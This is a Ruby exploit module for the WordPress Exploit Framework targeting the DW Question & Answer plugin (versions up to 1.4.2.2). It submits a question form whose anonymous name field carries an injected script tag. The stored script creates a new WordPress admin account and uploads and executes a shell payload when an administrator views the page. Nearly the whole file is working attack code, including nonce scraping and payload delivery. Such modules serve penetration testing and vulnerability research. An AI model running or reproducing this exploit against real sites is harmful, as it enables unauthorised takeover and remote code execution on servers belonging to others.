# frozen_string_literal: true

class Wpxf::Exploit::DwQuestionAnswerStoredXssShellUpload < Wpxf::Module
  include Wpxf
  include Wpxf::WordPress::Xss

  def initialize
    super

    update_info(
      name: 'DW Question & Answer <= 1.4.2.2 Stored XSS Shell Upload',
      desc: 'This module exploits a lack of input validation in versions '\
            '<= 1.4.2.2 of the DW Question & Answer plugin which '\
            'allows unauthenticated users to store a script that will '\
            'create a new admin user and use the new credentials to '\
            'upload and execute a payload when an admin views the page.',
      author: [
        'Rahul Pratap Singh', # Vulnerability discovery
        'rastating'           # WPXF module
      ],
      references: [
        ['URL', 'https://0x62626262.wordpress.com/2016/03/11/dw-question-answer-xss-vulnerability/'],
        ['WPVDB', '8413']
      ],
      date: 'Mar 11 2016'
    )

    register_options([
      StringOption.new(
        name: 'permalink',
        desc: 'The permalink to the ask a question page',
        default: '/?page_id=120',
        required: true
      )
    ])
  end

  def check
    check_plugin_version_from_readme('dw-question-answer', '1.4.2.3')
  end

  def permalink
    normalize_uri(full_uri, datastore['permalink'])
  end

  def fetch_nonce
    res = execute_get_request(url: permalink)
    return res.body[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1] if res && res.code == 200
  end

  def store_script
    execute_post_request(
      url: normalize_uri(full_uri, datastore['permalink']),
      body: {
        'question-title' => Utility::Text.rand_alpha(10),
        'question-content' => Utility::Text.rand_alpha(10),
        'question-category' => Utility::Text.rand_numeric(1),
        'question-tag' => Utility::Text.rand_alpha(5),
        '_dwqa_anonymous_email' => Utility::Text.rand_email,
        '_dwqa_anonymous_name' => "\"><script>#{xss_ascii_encoded_include_script}</script><",
        'dwqa-question-submit' => 'Submit',
        '_wpnonce' => fetch_nonce,
        '_wp_http_referer' => datastore['permalink']
      }
    )
  end

  def run
    return false unless super

    @success = false
    emit_info 'Storing script...'
    emit_info xss_ascii_encoded_include_script, true
    res = store_script

    if res.nil?
      emit_error 'No response from the target'
      return false
    end

    if res.code != 200
      emit_error "Server responded with code #{res.code}"
      return false
    end

    emit_success 'Script stored and will be executed when a user views the question'
    start_http_server

    @success
  end
end
